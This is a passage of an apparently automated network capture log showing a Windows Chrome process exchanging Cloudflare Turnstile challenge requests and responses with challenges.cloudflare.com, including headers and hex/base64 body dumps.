2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 50 63 6d 57 66 6e 5a 61 4d 63 36 43 46 63 35 74 33 59 57 5a 39 67 6d 65 6c 6c 33 70 77 71 5a 74 2f 66 61 32 66 67 34 57 78 6f 34 69 52 73 6f 6d 4c 6b 35 65 2f 6d 5a 79 50 76 34 4c 42 77 38 71 58 6e 73 61 74 6a 61 36 6f 71 61 54 47 69 38 62 4a 79 34 2b 7a 6c 73 2b 54 75 4b 2f 54 6c 37 76 44 31 35 75 2f 33 64 75 66 77 37 76 66 6f 38 62 50 34 36 66 4b 38 4d 6a 42 7a 4c 50 31 37 2f 4c 38 39 2f 4c 2b 2b 50 76 31 34 39 59 41 2b 4f 58 78 30 74 2f 31 36 74 6b 4f 42 4f 50 4b 33 65 55 42 38 75 4c 7a 38 52 66 6f 37 67 7a 34 47 53 44 66 49 41 50 39 2f 42 6e 63 46 53 45 41 41 75 48 2b 41 2b 67 71 39 78 6e 2b 4d 67 30 53 4e 69 41 48 42 69 73 77 43 54 44 39 44 52 30 64 49 76 6f 74 4c 52 38 30 47 41 49 59 4f 30 46 4e 51 6a 30 77 52 42 46 42 53 6c 46 51 55 55 41 76 49 78 Data Ascii: PcmWfnZaMc6CFc5t3YWZ9gmell3pwqZt/fa2fg4Wxo4iRsomLk5e/mZyPv4LBw8qXnsatja6oqaTGi8bJy4+zls+TuK/Tl7vD15u/3dufw7vfo8bP46fK8MjBzLP17/L89/L++Pv149YA+OXx0t/16tkOBOPK3eUB8uLz8Rfo7gz4GSDfIAP9/BncFSEAAuH+A+gq9xn+Mg0SNiAHBiswCTD9DR0dIvotLR80GAIYO0FNQj0wRBFBSlFQUUAvIx
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 66 6c 79 4f 65 58 36 68 5a 57 68 6d 63 33 36 71 6e 71 75 78 67 57 53 63 63 34 69 32 6c 6e 69 4e 71 70 70 38 6a 36 36 65 67 4a 43 79 6f 6f 53 56 74 71 61 49 6c 6e 79 65 68 71 69 64 75 36 32 6f 71 71 75 6b 76 37 50 4a 6b 70 66 57 73 62 50 49 31 39 75 39 75 39 58 50 6f 73 58 6c 75 38 66 64 71 62 2f 61 77 39 76 47 72 71 79 79 76 73 36 2f 36 72 66 44 30 66 53 35 38 73 6a 57 38 72 2f 64 30 75 37 78 31 41 62 38 78 4e 2b 38 39 64 2f 6d 41 51 67 52 32 67 54 38 30 4e 44 53 45 39 45 52 31 76 6a 71 2b 74 7a 79 32 74 33 66 48 64 2f 34 46 50 37 6d 35 65 6b 74 42 2f 63 6a 36 4f 59 4f 37 52 4d 6d 4e 6a 63 67 41 78 4c 35 38 54 55 4f 2f 6a 6f 67 44 78 41 38 4a 54 41 53 4f 54 39 45 41 55 78 45 53 43 63 65 53 45 77 72 4d 6a 38 71 4c 30 49 57 47 52 59 63 56 56 68 53 4c 7a 4a Data Ascii: flyOeX6hZWhmc36qnquxgWScc4i2lniNqpp8j66egJCyooSVtqaIlnyehqidu62oqqukv7PJkpfWsbPI19u9u9XPosXlu8fdqb/aw9vGrqyyvs6/6rfD0fS58sjW8r/d0u7x1Ab8xN+89d/mAQgR2gT80NDSE9ER1vjq+tzy2t3fHd/4FP7m5ektB/cj6OYO7RMmNjcgAxL58TUO/jogDxA8JTASOT9EAUxESCceSEwrMj8qL0IWGRYcVVhSLzJ
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 47 4b 6c 69 57 78 6e 6d 6e 31 69 71 5a 43 52 64 4c 4b 66 63 47 71 6f 73 34 79 34 70 37 53 6f 6e 62 36 32 67 62 43 41 76 4c 32 2f 78 63 61 5a 69 5a 6d 36 78 4d 66 4a 73 4c 75 74 31 72 2b 52 77 38 62 45 6c 49 37 4b 79 71 33 5a 30 64 6e 45 72 4c 4c 6d 31 4d 53 78 32 4b 66 68 76 64 33 61 33 73 37 63 78 4c 7a 4b 79 72 2b 71 39 37 48 75 2f 4e 71 32 37 66 4b 35 41 64 50 61 35 67 66 58 35 2b 6e 58 36 74 62 6c 78 4f 62 4f 45 4e 41 46 37 74 38 4c 31 67 49 55 34 2f 63 46 2f 68 62 38 36 2b 7a 62 42 42 62 79 33 2f 76 32 38 2b 41 44 36 69 76 73 45 42 6f 73 2b 78 41 64 46 79 34 56 42 41 58 7a 48 43 34 4c 50 68 6b 65 50 79 49 44 4d 50 77 5a 4b 54 77 5a 4f 6a 67 2b 42 42 77 39 42 77 67 4a 43 67 73 4d 44 51 35 59 47 6b 55 6f 45 31 77 76 4b 54 46 62 51 46 52 6d 4d 31 5a 62 Data Ascii: GKliWxnmn1iqZCRdLKfcGqos4y4p7Sonb62gbCAvL2/xcaZiZm6xMfJsLut1r+Rw8bElI7Kyq3Z0dnErLLm1MSx2Kfhvd3a3s7cxLzKyr+q97Hu/Nq27fK5AdPa5gfX5+nX6tblxObOENAF7t8L1gIU4/cF/hb86+zbBBby3/v28+AD6ivsEBos+xAdFy4VBAXzHC4LPhkePyIDMPwZKTwZOjg+BBw9BwgJCgsMDQ5YGkUoE1wvKTFbQFRmM1Zb
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 39 2b 62 62 47 77 69 49 79 50 72 71 79 74 6c 6f 2b 74 6e 71 36 4c 71 4c 58 44 6d 5a 61 45 6b 34 2b 55 73 72 33 48 71 4c 79 48 79 34 69 6e 70 36 4c 4b 6f 4a 36 6e 70 39 6e 62 6b 71 6d 58 30 5a 37 4d 6f 4d 72 43 6f 4b 4c 44 77 4f 61 67 6e 4b 6e 4e 35 72 6e 46 77 38 36 2f 76 4f 4c 65 30 4e 2f 43 79 63 76 53 30 4e 62 53 35 2f 44 7a 38 39 72 73 76 2b 44 31 38 65 72 49 43 39 66 64 78 2b 38 41 33 77 76 51 30 75 77 51 35 68 44 36 37 50 62 38 36 52 59 61 38 42 66 62 47 77 62 32 42 75 4c 79 2b 52 38 57 47 2f 73 6e 37 4f 34 4a 4c 41 4d 73 46 77 6b 54 47 51 59 79 4e 67 30 7a 39 7a 63 69 45 79 4c 2b 44 78 59 37 4d 6a 63 59 51 77 6b 4c 4a 55 67 66 53 44 4d 6c 4c 7a 55 69 54 6c 49 70 54 78 52 54 50 69 38 2b 47 79 73 79 56 30 35 54 4e 47 41 6e 61 69 55 6b 53 30 35 72 4f Data Ascii: 9+bbGwiIyPrqytlo+tnq6LqLXDmZaEk4+Usr3HqLyHy4inp6LKoJ6np9nbkqmX0Z7MoMrCoKLDwOagnKnN5rnFw86/vOLe0N/CycvS0NbS5/Dz89rsv+D18erIC9fdx+8A3wvQ0uwQ5hD67Pb86RYa8BfbGwb2BuLy+R8WG/sn7O4JLAMsFwkTGQYyNg0z9zciEyL+DxY7MjcYQwkLJUgfSDMlLzUiTlIpTxRTPi8+GysyV05TNGAnaiUkS05rO
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 46 64 6f 4b 4a 72 71 57 73 69 72 35 2b 6a 6f 72 41 74 6e 71 77 6e 4a 36 77 75 4b 6d 71 6d 4d 7a 48 72 34 36 2f 6a 73 2b 70 70 37 61 50 74 71 66 56 70 4c 33 64 6d 74 37 58 76 39 4c 45 70 4b 33 57 75 4e 32 35 32 64 58 70 74 74 7a 5a 77 64 37 52 36 75 4c 4b 74 4f 50 47 36 4d 6e 58 74 2b 76 50 37 39 58 54 34 72 76 69 30 77 4c 51 36 51 72 47 43 77 54 72 2f 76 44 51 32 51 50 6b 43 75 55 47 41 68 50 32 42 4e 72 74 43 2f 30 58 44 2f 62 67 45 50 49 56 39 51 54 6a 47 50 73 63 41 67 41 50 35 77 38 41 4c 76 77 57 4e 76 49 33 4d 42 67 72 48 66 77 47 4c 78 45 32 45 6a 49 75 50 79 4d 77 42 78 6f 33 4b 6b 49 47 4a 43 30 63 44 54 45 75 52 30 67 73 4d 78 63 54 45 52 5a 45 4b 55 6b 38 4b 6c 4e 5a 4d 32 55 6c 55 54 46 41 57 30 4e 48 56 69 52 4d 55 44 35 6f 59 30 70 6e 62 30 Data Ascii: FdoKJrqWsir5+jorAtnqwnJ6wuKmqmMzHr46/js+pp7aPtqfVpL3dmt7Xv9LEpK3WuN252dXpttzZwd7R6uLKtOPG6MnXt+vP79XT4rvi0wLQ6QrGCwTr/vDQ2QPkCuUGAhP2BNrtC/0XD/bgEPIV9QTjGPscAgAP5w8ALvwWNvI3MBgrHfwGLxE2EjIuPyMwBxo3KkIGJC0cDTEuR0gsMxcTERZEKUk8KlNZM2UlUTFAW0NHViRMUD5oY0pnb0
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 6e 58 36 72 65 6e 79 43 73 4c 57 75 67 35 36 57 76 38 53 32 79 37 33 47 73 4a 75 52 30 71 69 4b 79 38 79 72 78 73 75 72 6a 62 57 35 79 72 66 4a 6d 36 7a 56 7a 4d 62 66 6e 37 4f 35 6f 38 76 64 75 71 65 34 7a 61 76 4e 71 72 33 4f 30 75 6a 33 37 39 50 58 39 38 61 34 74 2b 45 42 39 2b 7a 54 2f 4f 59 41 39 4f 48 41 42 76 33 36 79 50 72 48 44 65 4c 78 46 67 41 4c 35 76 48 54 34 78 6b 48 37 2f 63 58 46 52 2f 2b 39 78 59 48 46 2f 73 49 2f 76 63 4c 47 41 55 48 2f 50 30 4d 43 67 49 6b 41 78 48 75 43 43 63 4d 47 41 73 72 4e 42 6f 54 4e 7a 55 4d 4d 68 63 42 43 41 42 46 47 79 6f 63 4f 45 4d 66 4b 67 78 4f 4a 53 38 53 56 6c 56 44 4c 44 52 54 55 56 73 37 4e 46 4a 44 55 7a 68 45 50 52 6c 68 4f 32 67 2f 59 6c 73 67 4f 69 49 78 62 30 74 66 4c 33 56 78 61 69 38 35 63 58 63 Data Ascii: nX6renyCsLWug56Wv8S2y73GsJuR0qiKy8yrxsurjbW5yrfJm6zVzMbfn7O5o8vduqe4zavNqr3O0uj379PX98a4t+EB9+zT/OYA9OHABv36yPrHDeLxFgAL5vHT4xkH7/cXFR/+9xYHF/sI/vcLGAUH/P0MCgIkAxHuCCcMGAsrNBoTNzUMMhcBCABFGyocOEMfKgxOJS8SVlVDLDRTUVs7NFJDUzhEPRlhO2g/YlsgOiIxb0tfL3Vxai85cXc
2024-12-18 13:53:46 UTC	1369	IN	Data Raw: 4b 36 35 73 59 4c 42 6c 35 69 6c 67 71 57 46 75 73 53 68 30 62 32 4b 6e 73 54 46 6a 39 61 6f 72 74 57 70 72 5a 61 31 77 75 43 32 74 72 7a 44 74 62 72 49 36 61 76 4a 78 4f 76 73 35 4c 43 70 30 36 71 31 33 36 2f 78 2b 73 71 79 31 66 33 56 31 4f 6a 79 2f 74 76 33 33 2b 2f 47 31 77 76 58 79 76 6e 71 2b 75 4c 4f 7a 52 44 6f 34 75 33 4d 39 66 6b 43 32 52 7a 78 39 76 34 68 49 64 63 5a 34 52 6f 59 46 52 63 53 4a 78 77 43 2b 77 38 5a 4c 78 76 2b 44 2f 73 48 4c 76 34 56 4e 2f 41 49 2b 78 55 48 46 52 77 71 51 77 37 36 4c 53 63 2b 4f 78 51 56 42 43 77 2b 47 30 35 4e 53 55 38 78 50 42 4d 7a 4e 52 4e 4c 4d 6c 59 54 4c 45 63 65 53 42 31 64 51 6c 78 47 59 43 39 56 55 6a 78 59 49 31 78 4c 4c 79 77 35 61 6e 42 42 56 6e 56 73 59 55 68 32 54 6c 6b 32 63 6d 68 78 67 6b 4a 43 Data Ascii: K65sYLBl5ilgqWFusSh0b2KnsTFj9aortWprZa1wuC2trzDtbrI6avJxOvs5LCp06q136/x+sqy1f3V1Ojy/tv33+/G1wvXyvnq+uLOzRDo4u3M9fkC2Rzx9v4hIdcZ4RoYFRcSJxwC+w8ZLxv+D/sHLv4VN/AI+xUHFRwqQw76LSc+OxQVBCw+G05NSU8xPBMzNRNLMlYTLEceSB1dQlxGYC9VUjxYI1xLLyw5anBBVnVsYUh2Tlk2cmhxgkJC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49732	104.18.95.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:48 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:49 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 18 Dec 2024 13:53:48 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: r8TeZaJmWek3IT+rMQUbRB7fXyy5SDxI1lQ=$STNsErfYJUOAydro Server: cloudflare CF-RAY: 8f3fa4292d15c35b-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:49 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49733	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:49 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8f3fa3fe4ef88c24/1734530026577/8iLkAWsacI_1SIW HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:49 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:49 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8f3fa42cc8728c12-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:49 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3b 00 00 00 3a 08 02 00 00 00 81 1b b6 41 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR;:AIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49734	104.18.95.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:50 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8f3fa3fe4ef88c24/1734530026577/8iLkAWsacI_1SIW HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:51 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:51 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8f3fa4376e2bc43b-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:51 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3b 00 00 00 3a 08 02 00 00 00 81 1b b6 41 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR;:AIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49735	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:51 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8f3fa3fe4ef88c24/1734530026578/356daef646888f2e76339107b9f588168a5a53239e73958162a009c51a45520c/rdwSaCtoyOJQhv2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:51 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 18 Dec 2024 13:53:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-18 13:53:51 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4e 57 32 75 39 6b 61 49 6a 79 35 32 4d 35 45 48 75 66 57 49 46 6f 70 61 55 79 4f 65 63 35 57 42 59 71 41 4a 78 52 70 46 55 67 77 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gNW2u9kaIjy52M5EHufWIFopaUyOec5WBYqAJxRpFUgwAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-18 13:53:51 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49736	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:53 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/319870471:1734527670:qf-7ztt3uzBMURdDvzCWITlC6yGGHlHl0FAfY7-tHMo/8f3fa3fe4ef88c24/KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31321 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: KZ.XewS1tW7QeEDW.dGGS0KeHwzXWKsnJcse4asWCw8-1734530022-1.1.1.1-iINHRpN83DHHIRFRrmhiplHWTO3bhLhdFpuNMB2gd95qJxU16ok.JqejDA2IG9Sg sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:53 UTC	16384	OUT	Data Raw: 76 5f 38 66 33 66 61 33 66 65 34 65 66 38 38 63 32 34 3d 57 50 77 46 53 72 6f 7a 4f 4d 50 6f 4f 43 7a 6f 32 78 69 78 76 43 6c 6f 41 78 51 46 68 4b 31 6b 6f 33 78 43 46 6f 55 6f 4e 78 6f 59 43 51 78 56 78 55 4b 35 55 6f 65 78 46 6a 5a 78 6f 4f 4b 78 74 78 77 70 59 77 77 6b 6c 78 6c 64 78 56 44 37 50 46 78 54 46 6f 71 70 78 4b 24 4f 6f 37 4a 35 36 46 78 61 78 43 4f 50 78 4a 43 78 35 71 78 6f 4e 71 64 51 43 78 78 56 44 78 69 71 61 39 70 34 6f 52 41 4b 24 4b 4b 36 58 78 4d 62 4b 52 72 4b 6f 37 78 67 54 78 79 46 78 32 71 46 72 32 78 4b 6c 48 78 6c 50 78 63 56 31 70 50 6a 6c 41 64 4b 78 48 6c 56 43 6f 54 48 6c 70 79 78 35 4d 7a 4b 35 37 52 72 4e 59 71 30 5a 52 4b 5a 36 59 6f 78 6f 73 35 48 59 48 38 4a 41 43 56 6e 55 78 73 30 55 47 6c 30 37 57 24 68 62 43 41 5a Data Ascii: v_8f3fa3fe4ef88c24=WPwFSrozOMPoOCzo2xixvCloAxQFhK1ko3xCFoUoNxoYCQxVxUK5UoexFjZxoOKxtxwpYwwklxldxVD7PFxTFoqpxK$Oo7J56FxaxCOPxJCx5qxoNqdQCxxVDxiqa9p4oRAK$KK6XxMbKRrKo7xgTxyFx2qFr2xKlHxlPxcV1pPjlAdKxHlVCoTHlpyx5MzK57RrNYq0ZRKZ6Yoxos5HYH8JACVnUxs0UGl07W$hbCAZ
2024-12-18 13:53:53 UTC	14937	OUT	Data Raw: 72 4a 78 6e 6f 61 78 39 78 36 46 6f 6b 6f 33 72 4c 77 43 6c 6c 46 6e 66 50 66 39 49 78 4f 78 32 78 6c 4b 6f 55 78 34 59 35 31 56 33 59 42 78 6f 59 6f 63 54 35 77 78 5a 78 32 78 54 33 47 33 71 7a 78 35 46 6c 65 43 6f 78 54 4b 6c 59 6f 36 78 79 68 78 55 6f 30 78 57 4b 78 62 78 6e 78 69 4b 35 62 6f 39 4b 71 78 35 4b 46 48 78 72 59 4d 51 78 39 78 6f 59 6f 78 78 56 78 78 50 31 50 78 73 78 6a 66 37 4f 6b 59 46 71 78 6f 2b 78 6c 4b 71 77 72 52 78 63 78 55 5a 72 4f 78 2b 46 36 46 6f 71 6f 69 78 78 50 31 34 6f 6d 54 57 78 35 4f 78 78 46 57 78 35 5a 46 73 78 5a 46 36 62 78 53 46 31 78 78 70 78 4d 46 77 46 72 77 6f 68 4b 79 78 6c 6e 57 33 4b 69 6b 31 56 6f 48 51 35 77 6f 4f 78 4b 46 67 46 35 77 6f 43 74 32 4b 43 52 41 57 2d 36 78 78 72 74 61 2d 6c 46 6c 68 78 41 78 Data Ascii: rJxnoax9x6Foko3rLwCllFnfPf9IxOx2xlKoUx4Y51V3YBxoYocT5wxZx2xT3G3qzx5FleCoxTKlYo6xyhxUo0xWKxbxnxiK5bo9Kqx5KFHxrYMQx9xoYoxxVxxP1Pxsxjf7OkYFqxo+xlKqwrRxcxUZrOx+F6FoqoixxP14omTWx5OxxFWx5ZFsxZF6bxSF1xxpxMFwFrwohKyxlnW3Kik1VoHQ5woOxKFgF5woCt2KCRAW-6xxrta-lFlhxAx
2024-12-18 13:53:54 UTC	330	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:54 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26288 Connection: close cf-chl-gen: nCewxQsAC/5EuiPc44M/MuU+uGqQLdf40C9/fnDCiAU+yQXXwldM8gL58ifIttSj1y5+fC7/KOkOoU5v$7Nr/RRZSBZcV04UJ Server: cloudflare CF-RAY: 8f3fa4474ea26a4e-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:54 UTC	1039	IN	Data Raw: 69 49 36 63 6a 49 47 76 76 35 74 2f 74 4c 65 6c 7a 4d 69 74 68 59 69 36 79 6f 7a 43 79 6f 2b 51 78 73 2f 47 70 74 66 54 78 72 62 51 6e 4c 48 6a 74 63 43 65 73 63 61 69 74 36 62 58 79 36 72 75 36 4b 72 4f 77 73 62 32 31 76 66 48 78 4e 4c 31 30 64 62 34 2f 76 6e 31 34 63 4c 5a 34 4f 62 44 32 50 58 53 43 77 6e 62 37 63 33 6b 37 50 49 4e 35 75 44 6b 31 50 6b 48 47 52 76 70 47 39 58 31 32 53 50 77 33 77 59 54 4a 66 33 30 4a 2b 6b 69 35 67 6e 38 35 68 49 4b 4a 53 51 49 2f 6a 54 31 44 77 55 54 4e 68 49 74 50 53 6b 56 4b 78 67 33 2b 68 38 47 41 78 55 35 52 54 59 48 44 6a 39 4d 4c 68 38 71 53 43 59 2b 44 30 77 35 4e 43 6c 48 4e 79 6c 4a 58 46 39 4e 49 6c 63 2f 52 43 4e 70 56 46 38 34 61 6c 64 76 61 69 70 64 51 45 52 7a 63 47 39 47 65 47 4a 61 62 44 59 33 61 6c 52 Data Ascii: iI6cjIGvv5t/tLelzMithYi6yozCyo+Qxs/GptfTxrbQnLHjtcCescait6bXy6ru6KrOwsb21vfHxNL10db4/vn14cLZ4ObD2PXSCwnb7c3k7PIN5uDk1PkHGRvpG9X12SPw3wYTJf30J+ki5gn85hIKJSQI/jT1DwUTNhItPSkVKxg3+h8GAxU5RTYHDj9MLh8qSCY+D0w5NClHNylJXF9NIlc/RCNpVF84aldvaipdQERzcG9GeGJabDY3alR
2024-12-18 13:53:54 UTC	1369	IN	Data Raw: 61 7a 6f 2b 63 6e 38 2b 54 71 35 57 4f 75 61 72 51 7a 72 43 78 72 62 54 52 76 63 2b 79 76 73 36 66 77 4e 2f 70 77 4f 66 63 37 71 54 42 35 50 43 36 32 2b 6a 30 76 39 2f 73 2b 4e 58 63 2b 76 7a 49 41 66 6b 44 39 4d 76 38 74 39 6a 46 33 50 72 66 42 63 51 4b 79 67 30 50 45 2b 4d 42 79 77 38 52 42 67 72 54 37 67 2f 30 2f 50 73 5a 38 78 49 59 46 52 7a 32 2b 39 34 64 41 50 49 74 4b 79 51 61 41 53 34 54 41 53 6b 47 42 50 4d 4c 41 67 34 77 42 77 6b 52 46 54 30 58 47 67 30 39 41 44 39 42 53 42 68 48 47 68 67 4d 47 6a 77 4f 47 30 63 4a 56 45 4e 4a 44 54 45 50 4c 6a 51 79 47 69 59 31 49 44 68 59 54 57 45 6b 58 47 49 7a 4e 69 63 33 57 43 52 75 52 46 38 2f 4b 6c 4e 55 4c 53 31 6e 61 45 52 47 5a 6d 51 37 66 44 56 57 50 6a 39 6a 5a 45 49 39 63 56 64 49 59 34 42 30 56 6c Data Ascii: azo+cn8+Tq5WOuarQzrCxrbTRvc+yvs6fwN/pwOfc7qTB5PC62+j0v9/s+NXc+vzIAfkD9Mv8t9jF3PrfBcQKyg0PE+MByw8RBgrT7g/0/PsZ8xIYFRz2+94dAPItKyQaAS4TASkGBPMLAg4wBwkRFT0XGg09AD9BSBhHGhgMGjwOG0cJVENJDTEPLjQyGiY1IDhYTWEkXGIzNic3WCRuRF8/KlNULS1naERGZmQ7fDVWPj9jZEI9cVdIY4B0Vl
